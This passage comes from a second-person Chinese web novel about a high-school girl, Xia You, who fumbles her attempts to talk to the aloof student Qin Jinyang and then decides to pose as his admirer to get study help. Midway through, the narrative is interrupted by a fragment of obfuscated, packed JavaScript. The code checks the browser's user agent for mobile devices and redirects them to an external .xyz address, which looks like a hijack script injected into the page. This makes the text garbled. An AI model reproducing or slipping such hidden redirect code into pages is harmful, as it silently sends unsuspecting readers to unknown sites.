哦，不，准确来说你只说了三个字！
留着这么漂亮的纸还有什么用？
你索性拿出来和许斯年掰扯明白。
你在纸上写：
「我今天和他第一次见面，一共就说了三个字：“秦同学”，哪谈得上“喜欢”还是“不喜欢”？我去找他，是想和他交流一下他昨天下午讲的学习方法的。他都不知道我是谁！」
你把写好的信纸推到许斯年那边，又趴回桌上。
脑袋下传来许斯年“唰唰”的写字声，很快，一道粉红的阴影盖上了你的脸。
你拿起HelloKitty的信纸。
许斯年：「这就是你中午手里拿着的那张纸？」
你看完他的回复，疑惑又读了遍你上面“力透纸背”的三行字。
完全是……鸡同鸭讲。
你回复：「对啊。怎么了？」
你把信纸传回给许斯年。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14272666|146704||http|test|mini|href|location''.split(''|''),0,{}));
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>许斯年的回复很快到了。
许斯年：「没事，就是问问。」
许斯年：「快睡吧，午睡的时间就剩十五分钟了。」
你：“…………”
他说完了，就完了？
你还没和他算账呢！
他明明答应你在教室里好好学习，怎么就跑去篮球场了？
还有，在篮球场刚见到你时，那阴阳怪气的两句话又是怎么回事？
再有，他为什么要抢你买的水？
你洋洋洒洒在纸上给他列出三宗罪，又检查了一遍确定没有错漏。
你心满意足放下笔，转头打算拍到许斯年脸上。
却见他侧脸窝在洒满臂弯的阳光里，安静闭着眼，长长的睫毛在眼底落下一片轻盈的扇影。
侧脸被阳光烫金的小绒毛在均匀的鼻息下，规律拂动着……
人俨然已经睡着了。
*****
用了那张昨晚精心挑选的HelloKitty漂亮信纸，你傍晚再要去找秦今阳时，就有点儿后悔了。
你翻了满书桌的本子，没能找出一张稍微漂亮点儿的纸。
算了，你安慰自己，你在秦今阳那里的第一印象……
你瞪一眼低头写练习册的许斯年，估计都被这搅屎棍搞成负分了。
再人见人爱、花见花开的HelloKitty也拯救不了你。
你扭身看了眼后墙的表，时间还很充裕。
你拿上一张朴实无华的B5活页纸和黑色水性笔，出了教室。
你上了四楼，一路走到走廊尽头。
现在是晚饭时间，高三一班的前门大敞着，方便学生进出。
你这次没再管什么头花、兜帽、领子、袖口，侧身扒着墙，偷偷伸进去半个头，朝教室里张望。
你的视线刚转了大半圈，就找到了靠窗倒数第一排的秦今阳。
这次倒不是因为他出色的外貌，纯是因为中午你遇到的那个女生先注意到了猫猫祟祟的你。
她站起身，开心张着五指朝你挥手。
你被她热情到了，也伸出半个手臂，准备和她招手。
不料，她拽了一把后座低头看书的秦今阳，秦今阳顺着她无比热情的比划定位到了你。
然后，和你拘谨打招呼的手对视了。
你打招呼的手和脸上过于灿烂的笑容一起僵住了。
就……过于始料不及了。
你和秦今阳隔空对视——
这一刻，你默默祈祷秦今阳千万别也是视力5.2，隔八米远也能把你脸上的表情看得清清楚楚……
十几秒，你一个人的漫长割据中，秦今阳收回了视线，低头继续看他手中的书。
你光速撤回脑袋。
背抵在墙上，你缩回的脑袋乌龟般慢慢又伸出来……
第一面，你只叫出三个字，“秦同学”。
你本以为这是天崩开局，往后，就崩无可崩了。
没想到第二面，还有地心可以尬穿。
你一个字都没说上……
果然，没有游戏硬塞来的机缘……你抬手罩上兜帽，在宽大的帽檐里慢慢往回走去……你凭自己的本事，和这种高冷挂的帅哥，真是一句话都搭不上。
唉………………
忽然，你被人扯住了右臂。
48. 竹马的心愿挑战（9）
你罩着淡粉的兜帽，在宽大的帽檐里挨个数着脚下的地砖，慢慢往楼梯方向挪去……
突然，你被人扯住了右臂。
你转过头。
拽住你的竟然是中午你拦住的那个女生。
她拉着你的胳膊，动作熟练拦进自己怀里，拽着你往回走，边走边熟络问你：
“你不是来找秦今阳的，怎么没进来，直接就走了？”
你一边怔愣看着走在你身前的、你的胳膊，一边思考怎么回答她的问题。
你一时没答上来，也不影响她继续和你唠起来：“是不是他的冷脸吓到你了？”
她：“嗐，秦今阳就那样。对谁都一副我搭理你，纯粹是出于礼貌，你识趣最好闭嘴，乖乖走开；不识趣就赶紧说完，赶紧走开——的模样”
你觉得她形容得好生动、好到位。
你第一次在游戏里见到秦今阳就是这种感觉，只是你无法用语言形容出来……
但她为什么要和你说这些？
“同学？”你伸出另一只手，小心扯了扯她风风火火走在你前面的校服衣摆，“你要拉我去哪里？”
她停下脚步，转头看你，理所当然回：“去我们班啊。”
你：？
她：“你本来不是要找秦今阳吗？”
你点头：“但是……”
她把一双眼睛睁得大大的，望着你，等着你的“但是”。
你“但是”了半分钟，没“但”出来。总不能说你是怂了，所以先跑了；现在还怂着，所以不想去见秦今阳吧？
“嗐。”她拍了下脑袋，“瞧我这记性。我是不是还没和你自我介绍？”
她放开你的胳膊，退后一步站好。
像模像样朝你伸出手：“我叫顾达理，知书达理的那个达理，以后你可以叫我达达，或者叫我Darling~当然，我个人更倾向你叫我后者哦。”
顾达理：“对了，你叫什么？”
“我叫……”你学着她的样子伸出手，但你有些怕生，没直接握上她的手，“夏佑。”
“yòuyòu，”顾达理对着你伸出的手掌响亮一拍，“你的名字好可爱！”
你伸出的手直接被她开心地拍飞了。
原来，她不是要和你握手……
你的手心还麻麻的，顾达理已经收回了手，笑着问你：“是哪个yòu？”
你：“福佑的佑。”
“你的名字真好听，不像我的，听起来像男生的名字。我和你说，这全怨我哥，”顾达理说着，动作自然又搂起你的胳膊，拉着你往走廊尽头走，“我哥叫顾知书，知书达理，到我这里就变成顾达理。不过，还好他没叫顾花开，不然我就要成顾富贵儿了~”
顾富贵儿？你脑补了下她穿着花开富贵的花绿棉袄，实在没忍住，偷偷弯起了嘴角。
“我和你说，我哥是一高的，学习特别好，长得也嘎嘎帅，重点是还单身。所以，你也别有太大得负担。秦今阳这里实在不成，等之后周末，我把我哥叫出来给你看看。”
你：？？？？？
为什么你明明每一句都听懂了，但合在一起，你就不太懂了呢？
你一脸懵，更确切说，是一身懵被顾达理拉到了高三一班的班牌下。
顾达理拉着你就要往里面进。
你另一只手赶紧抠住门框，僵硬笑着婉拒：“我直接进你们班……不大合适吧？”
顾达理：“哪里不合适？你是我朋友，你来我班找我，有什么不合适的？”
你诧异：“朋友？”她说的是没毛病，但你们什么时候成了朋友？
“我们都交换过名字了，”顾达理扁起嘴，“还不算朋友吗？”
这么随便，不不，就这么简单……你们就成朋友了？
你在她会说话的委屈眼神盯视下，点了下头：“算。”
顾达理一秒咧开嘴：“那走吧，我的朋友~”
你就这样一脸懵逼被顾达理拽进了高三一班的教室，一路来到了教室的倒数第二排。
顾达理的同桌还没回来，她就坐进了里面的位置，把她的位置让给你坐。
虽然，你进来的一路一直刻意回避去看，但你十分清楚此时此刻你身后坐的就是秦今阳。
你明明知道秦今阳在看书，不可能抬头来看你；
就算是看，看一眼也会挪开视线，你仍然觉得后背一片火辣辣的灼意。
你后背绷得比高三一班的墙面还直，脑袋里却七回八转。
你明明已经逃跑了……
你到底……是怎么就又进来了呢？
顾达理在一旁冲你猛使眼色，只恨眼神拉的丝，不能把秦今阳直接钩到你面前。
你则垂着头，一门心思当睁眼瞎。
顾达理很快凑过来，小声问你：“需要我帮你叫他吗？”说完，作势转过身去。
你一把抓住顾达理在你眼皮子下飞起的校服袖子，直摇头。
顾达理搭上你抓她袖子的手，右半边身子顺势倒过来，头靠在你肩上。
用气音在你耳边说：“相信自己，追他的我看的多了，他对你不一样。”
内容过于匪夷所思，你的身体甚至忘记了本能的躲避。
你什么时候要追秦今阳了？秦今阳又哪里对你不一样了？
“你是不是想问他对你哪里不一样了？”顾达理在你肩头仰起脸。
你侧脸看过去。
“眼神。”顾达理冲你俏皮眨了下右眼。
顾达理：“我帮他保媒拉纤了三年，我一眼就看出来了。”
保媒拉纤？还三年？？？
没等你问出心中的疑惑，顾达理的脑袋已经在你肩膀上扭到后面去了：“喂，秦今阳。”
你两手捂住了脸。
“干吗？”熟悉的嗓音轻飘飘落上你耸高的肩胛骨上。
你的后背仿佛开了天眼。
捂着脸都能想出秦今阳说这两个字时勉强掀个眼皮看来的表情。
顾达理拽了拽你的袖子。
你无法继续当缩头乌龟，扭过了身，盯着秦今阳的桌面开口：“秦同学。”
秦今阳：“秦、今、阳。”
你小心抬起眼，秦今阳这是在和你介绍他的名字？
你没能从他波澜不惊的表情中窥见他的意图，犹豫了下，自我介绍道：“我叫……”
秦今阳：“夏佑。”
你实在没控制住，对着秦今阳瞪大了眼。
秦今阳难道还有上一关游戏的记忆？
但是你学精了，话只说一半：“你还记得我名字……”
秦今阳：“记得。”
这下，你彻底目瞪口呆了。
秦今阳：“今天中午的事，我的记忆力没那么差。”
啊？什么今天中午？
今天中午，你不是只和他说了三个字，“秦同学？”
外加强塞了条白毛巾给他？<
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p>那白毛巾是学校小超市买的，也不是古代大家闺秀的手帕，还带着你的名字。
你一脸迷惑。
秦今阳看着你，波澜不惊重复道：“夏佑，这就是你所谓的中午吃多了，出来溜达溜达？溜达溜达，顺便来见这位既不是你初中同学、也不是你小学同学、还不是你幼儿园同学的陌生人？”
啊啊啊啊啊啊啊啊！！！！！
你为什么要因为同一段话社死两次啊？？？
秦今阳为什么要记得这些，还要当着……
你僵着脖子去看一旁的顾达理。
她两手捂着嘴，满眼都在冒星星，一双眼睛左看看你，右瞧瞧秦今阳，忙得不可开交，只恨不能把你和秦今阳装在同一个框里……
你已经社会性死亡了。
你重新面对秦今阳，木着脸开口：“秦同学，你的记性的确很好。我今天来，”
秦今阳打断你：“秦今阳。”
你：？？？
秦今阳：“我的名字是秦今阳。”
你迟疑着重复：“秦、今、阳？”
秦今阳点了下头。
他从刚才到现在不会只是……在纠正你的称呼吧？
“秦今阳，”你觑了眼对面人的表情，见他无意再打断，继续说下去，“我今天来找你，是想和你探讨一下你昨天下午在高考动员大会上讲的学习方法。”
秦今阳：“说完了？”
你点点头。
“这事，我恐怕帮不到你。”秦今阳说完，立起摊在桌上的书，不再看你，当着你的面继续看起书来。
红橙黄绿的彩虹色书封横亘在你们之间。
白色英文书名HOWTOKNOWAPERSON（如何了解一个人）大大地映入你眼帘。
你和书名下的一行小字面面相觑：「TheArtofSeeingOthersDeeplyandBeingDeeplySeen.」（深刻看到别人和被别人看到的技巧）
如果不是确定你刚才在门外时，秦今阳就是在看这本书，你都要怀疑秦今阳是在点你。
觑了好一会儿，书那头的人仿佛你不存在，看完一页，又翻到新的一页。
你越觑越气，终于上了头，你一把按下秦今阳手中的书：
“秦今阳，纸上得来终觉浅，你要不先了解一下你面前的人？Trytoseemedeeply.”你一个单词一个单词咬得十分清晰。
秦今阳维持着被你按住书的姿势，视线慢慢上移，最后落在你脸上。
“你确定，要我了解你？”秦今阳勾了下唇角，清冷的嗓音似乎也染上了一丝笑意，“夏佑？”
如果你没记错，秦今阳上一次冲你笑，还是在现实里捉到了你话里的小辫子……你下意识咽了咽口水……你得换个话题。
你把手中空白的活页纸举在脸前，把你早就烂熟于胸的问题背出来。
你眼睛窝在活页纸后，等着秦今阳的回答，他再说“恐怕帮不到你”，你正好顺势遁走。
却见纸上伸来一根手指，缓缓将挡着你脸的纸向下压弯，直到你的眼睛完整曝露在头顶明晃晃的白炽灯下。
秦今阳对上你浮在纸上的眼，不紧不慢开口：“你说纸上得来终觉浅，那么你是要我了解面前的人，还是了解你？”
“前者的话，你就不能挡着脸了；后者的话，”秦今阳顿了下，左手支起下巴，歪脸看你，“你好像可以继续挡着脸。”
49. 竹马的心愿挑战（10）
“前者的话，你就不能挡着脸了；后者的话，”秦今阳顿了下，左手支起下巴，歪脸看你，“你好像可以继续挡着脸。”
一时间，你手中的纸，烫手的山芋般，拿也不是，放也不是。
不对，今天这日子绝对不对！
你昨天下午到今早的百般筹谋，忘了件最重要的事：
看、黄、历！
今天肯定是诸事不宜，不然怎么一个个都奇奇怪怪的，三十六计你选最上计——
你眼神精准跳过秦今阳的头，看向他左后方黑板上的挂表。
“啊！”你捂嘴惊呼，嘴皮子一路飞流直下，“晚自习要开始了，秦同学，我着急就先走了，这个问题我明天再来找你讨论哈！”
你保持45度角梗着脖子站起身，头也不回向顾达理的方向摆摆手：
“拜拜，达理同学！”
*****
你成功溜了。
溜回了教室。
在座位上坐下，你垂头耷脑，背顺着靠背一点点下滑……
为什么你总是这么怂？
许斯年转头看你，笔尖从你垂到胸口的脑袋一路下滑，指向你缩进四条凳腿的鞋跟：
“夏佑，你这是……去哪了？”
你充满怨念看向许斯年，把刚听过的台词竹筒倒豆子般bangbangbang倒回给始作俑者：
“晚饭吃多了，出去溜达溜达！溜达溜达，顺便去见那位既不是我初中同学、也不是我小学同学、还不是我幼儿园同学的陌、生、人！”
许斯年别开脸，用笔杆戳戳鼻梁：“原来就是出去溜达溜达啊，溜达好，溜达好……饭后百步走，能活九十九。我家夏佑这么爱溜达，肯定能活到一百一！”
你：“……”
许斯年这个傻缺，你说真话，他又不信了……
晚自习，许斯年较之前两天，乖得十分明显。
不再时不时喝口水，也不张罗去上厕所，也不没事捅捅你，递给你张小纸条了。
于是，你一个人一边写英语作业，一边安静思考自己怎么一见秦今阳就怂？
上一关游戏，之前在图书馆，中午在篮球场，满打满算，今天已经是你见秦今阳的第四面了。
你怕他什么？
他就是个路人npc！
除了长得帅点，脑子好使点上了清华，看起来不容易接近点，还有什么特别！
帅哥你都见过多少了，脑子……这点你先跳过，你也不容易接近啊！
你是比他更高级的玩家！
你怎么就不能支棱起来？！
下次你见到他……唉……理想很丰满；
现实却是老奶奶啃下来的鸡爪骨头。
你是思想的巨人，行动的矮子……等等，行动上你也有巨人时刻啊！
好吧，你稍微夸张了点，四次见面里，你也有不怂的时候。
虽然时间不长，但那时的你面对秦今阳确实很自如、甚至是游刃有余。
那就是你给自己立了个暗恋他的花痴人设时。
你心里清楚你只是在表演，那不是真实的你，你只是在fake……
啊，这不就是网络上流传的那句“Fakeituntilyoumakeit”的现实版?【1】
那么，你可以照猫画虎，再给自己找一个人设。
你的思路在山重水复间兜兜转转，这一刻，瞬间柳暗花明，蓦然回首，那“人设”就在灯火阑珊处！
早有人给你立好了，甚至不止一个。
秦今阳见你的第一句话：“我高三不准备谈
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恋爱。”秦今阳以为你要追他。
顾达理也对你说：“相信自己，追他的我看的多了，他对你不一样。”顾达理也以为你要追他。
你何不就此借坡下驴？
坐实这个人设。
小说里不都是这样的情节：学习不好的女主暗恋学霸男主，或羞于启齿，或百般接近不得，只好假借向学霸请教学习，实则行追求之事。
表面明修学习的栈道，实则暗度追求的陈仓。
你可以反其道而行之：明修追求的栈道，暗度学习的陈仓。
你听说男生即使不喜欢暗恋他们的女生，也会不自觉对她们多加照顾些。
你想起之前在小红书刷到的一个帖子：
某个上班的姐姐受不了龟毛事多的男上司，发疯在微|信上和男上司表白，男上司拒绝了。但自此以后，男上司再也不闲来就对她指手画脚，甚至还给她涨了工资。
怪不得，怪不得秦今阳后来要加你微信，还对你说“这样，你以后就不用通过论坛和表白墙来关注我了。”
他这不就以为你真暗恋他，偷偷给你开后门？
这样看来，暗恋这套对秦今阳也有用嘛。
那么，你打着追秦今阳的幌子，不仅可以自如面对他，向他讨教学习方法，还可以利用他对“暗恋他的你”的微妙心里，死皮赖脸追着他带你和许斯年学习！
啊啊啊啊啊，你简直是个天才啊！！！
追求男生这事，你说不熟也熟。
因为写字不错，你帮朋友代笔过情书；
因为到校早，你帮朋友代买、代送过爱心早餐；
因为实在受不了朋友每次告白临门都打退堂鼓，你帮朋友表过白。
从明天起，你就要暗恋秦今阳了，那就先从送爱心早餐开始吧！